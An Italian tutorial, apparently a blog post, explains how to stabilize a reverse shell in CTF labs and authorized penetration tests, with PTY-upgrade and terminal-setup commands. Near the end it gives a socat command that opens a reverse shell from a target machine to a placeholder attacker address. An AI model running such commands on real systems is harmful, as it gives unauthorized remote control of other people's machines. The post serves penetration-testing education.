Reverse Shell

C’è un momento che accomuna praticamente chiunque inizi a giocare con le reverse shell.
Qualche giorno fa stavo osservando un giovane collega alle prese con una macchina di laboratorio. Dopo qualche minuto di tentativi riesce finalmente ad ottenere la tanto desiderata shell. Esultanza. Cinque secondi di gloria.
Poi preme la freccia su.
Sullo schermo compare un elegante ^[[A.
Prova Ctrl+C. La connessione cade.
Riprova. Ctrl+L. Lo schermo gli risponde con un altrettanto elegante ^L.
A quel punto è iniziata una sequenza di imprecazioni creative rivolte a divinità che, ne sono abbastanza sicuro, non compaiono in nessun pantheon conosciuto dall’umanità.
Gli ho lasciato sfogare un paio di minuti. Poi gli ho mostrato quella che, probabilmente, è una delle procedure più utili da imparare quando si mette mano a CTF, Hack The Box o penetration test: la stabilizzazione della reverse shell.
Come per tutti gli articoli che trattano di sicurezza informatica, anche questo ha uno scopo puramente divulgativo. Le tecniche descritte sono pensate per essere utilizzate esclusivamente in laboratori, CTF, ambienti di test o durante attività di penetration test esplicitamente autorizzate. Tentare di accedere, modificare o interagire con sistemi di terzi senza autorizzazione non è solo scorretto dal punto di vista etico, ma costituisce un reato. Se volete sperimentare, fatelo su macchine vostre o su piattaforme nate appositamente per questo scopo.
Perché una reverse shell è così limitata?
Quando otteniamo una reverse shell tramite strumenti come netcat, bash, python o altri payload, nella maggior parte dei casi non viene creato uno pseudo terminale (PTY).
In pratica il processo bash è collegato direttamente allo stream di input e output della connessione TCP, senza tutta quella gestione che normalmente offre il terminale.
Le conseguenze sono immediate:
- niente editing della riga di comando
- cronologia non disponibile
- autocomplete con TAB assente
- gestione dei segnali incompleta
- applicazioni full screen inutilizzabili
- dimensioni del terminale errate
Per operazioni rapide può bastare, ma appena serve lavorare qualche minuto diventa estremamente scomodo.
Il primo passo: creare uno pseudo terminale
La soluzione più semplice consiste nell’utilizzare il comando script.
Se presente sul sistema remoto è probabilmente il metodo più rapido e affidabile.
script /dev/null -c /bin/bash
Il comando crea una nuova shell interattiva utilizzando uno pseudo terminale senza salvare alcun file di log.
In molti casi già questo migliora sensibilmente l’esperienza.
Se invece script non è disponibile si può ricorrere a Python.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Oppure, sui sistemi più datati:
python -c 'import pty; pty.spawn("/bin/bash")'
Questo è probabilmente il comando che ogni penetration tester finisce per imparare a memoria.
Mettere in pausa la connessione
Una volta ottenuto il PTY è necessario sistemare il terminale locale.
Premiamo:
Ctrl+Z
La connessione verrà sospesa riportandoci alla nostra shell locale.
A questo punto eseguiamo:
stty raw -echo
fg
Dopo aver riportato in foreground la connessione, premiamo Invio una o due volte.
Il terminale potrebbe sembrare “bloccato” per qualche secondo: è normale.
Configurare il terminale remoto
Una volta rientrati nella shell remota conviene impostare la variabile TERM.
export TERM=xterm
Questo permette a numerosi programmi di capire quale tipo di terminale stanno utilizzando.
Da questo momento iniziano a funzionare correttamente:
- clear
- vim
- less
- top
- htop
- nano
- cronologia dei comandi
- colori ANSI
Sistemare le dimensioni dello schermo
Un dettaglio spesso trascurato riguarda le dimensioni del terminale.
Se non vengono impostate correttamente, applicazioni come vim o tmux potrebbero visualizzare lo schermo in modo errato.
Sul computer locale controlliamo:
stty size
Ad esempio:
38 120
Successivamente, sulla macchina remota:
stty rows 38 cols 120
Da questo momento il terminale remoto utilizzerà la stessa geometria del nostro.
Una sequenza da ricordare
La procedura completa diventa quindi:
script /dev/null -c /bin/bash
Poi:
Ctrl+Z
Sulla macchina locale:
stty raw -echo
fg
Infine, sulla macchina remota:
export TERM=xterm
stty rows <righe> cols <colonne>
Dove righe e colonne corrispondono all’output di:
stty size
Se script non è disponibile
Non tutti i sistemi dispongono dell’utility script.
In questi casi Python rappresenta quasi sempre l’alternativa migliore.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Anche Perl può essere utilizzato, se installato.
perl -e 'exec "/bin/bash";'
Oppure, nei sistemi che dispongono di socat, è possibile ottenere direttamente una shell completamente interattiva, anche se questa soluzione richiede la presenza del binario su entrambe le macchine si può provare con una cosa del genere:
# Sulla macchina di partenza (listener con TTY)
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Sulla macchina bersaglio (reverse shell con PTY)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[IP_ORIGINE]:4444
Conclusioni
Quando si lavora in laboratori come Hack The Box, TryHackMe o durante attività di penetration test autorizzate, stabilizzare una reverse shell è una di quelle operazioni che fanno davvero la differenza.
Non migliora soltanto il comfort operativo, ma riduce anche il rischio di perdere accidentalmente la connessione o di commettere errori durante attività delicate.
È una procedura semplice, richiede pochi secondi e, una volta imparata, diventa un automatismo. Personalmente è una delle prime cose che eseguo appena ottengo una shell, perché lavorare in un terminale “vero” permette di concentrarsi sull’analisi del sistema invece che combattere continuamente con i limiti della connessione.
Le opinioni in quanto tali sono opinabili e nulla ti vieta di approfondire l’argomento.
Risorse: